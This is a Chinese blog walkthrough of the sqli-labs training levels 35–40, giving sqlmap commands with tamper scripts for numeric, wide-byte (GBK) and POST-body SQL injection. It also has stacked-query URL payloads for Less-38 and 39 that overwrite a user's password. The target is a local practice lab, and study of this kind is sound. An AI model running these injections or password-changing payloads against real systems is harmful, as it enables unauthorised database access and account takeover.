SQLMAP脚本-sql-labs-Less-35-40

Less-35

 

 直接跑就行了数字型python3 ./sqlmap.py "http://192.168.0.101/2022.10.26/sqli-labs-master/Less-35/?id=1" --technique=U --users --tamper=cx.py,air.py


Less-36

 

 

使用了mysql_real_escape_string过滤,但设置了gbk编码所以可以使用宽字节注入

 

python3 ./sqlmap.py "http://192.168.0.101/2022.10.26/sqli-labs-master/Less-36/?id=1" --technique=U --users --tamper=unmagicquotes.py,air.py  --level=2


Less-37

这关需要抓包注入剩下的跟宽字节注入都一样

python3 ./sqlmap.py "http://192.168.0.101/2022.10.26/sqli-labs-master/Less-37/" --data="uname=admin*&passwd=admin&submit=Submit" --technique=U --users --tamper=unmagicquotes.py,air.py --level=2

it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] n //注意sqlmap跳出来的这个选项需要选择n不然跑步出来 


Less-38

 直接注入即可

python3 ./sqlmap.py "http://192.168.0.101/2022.10.26/sqli-labs-master/Less-38/?id=1"  --technique=U --users --tamper=unmagicquotes.py,air.py --level=2

 但是这关不是叫注入而是堆叠注入

什么是堆叠注入?

顾名思义,堆叠注入就是将一堆sql语句叠加在一起执行,使用分号结束上一个语句再叠加其他语句一起执行。(就是;分割语句同时执行)
先看看这种情况的后端代码是什么样子的

 使用了mysqli_multi_query() 函数,可以执行多个数据库查询语句,多个查询使用分号分割

 http://192.168.0.101/2022.10.26/sqli-labs-master/Less-38/?id=1%27;update%20users%20set%20password=%27123456%27%20where%20username=%27Dumb%27;--+

 给用户更改密码

 这里使用sqlmap跑也可以但是有点麻烦以后在补上吧



Less-39

 http://192.168.0.101/2022.10.26/sqli-labs-master/Less-39/?id=1;update%20users%20set%20password=%27123456%27%20where%20username=%27Dumb%27;--+

 也是同样的方法只不过是不需要双引号了



Less-40

 这关是无报错而已其他相同直接跑即可
python3 ./sqlmap.py "http://192.168.0.101/2022.10.26/sqli-labs-master/Less-40/?id=1"  --technique=U --users --tamper=air.py --level=2

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值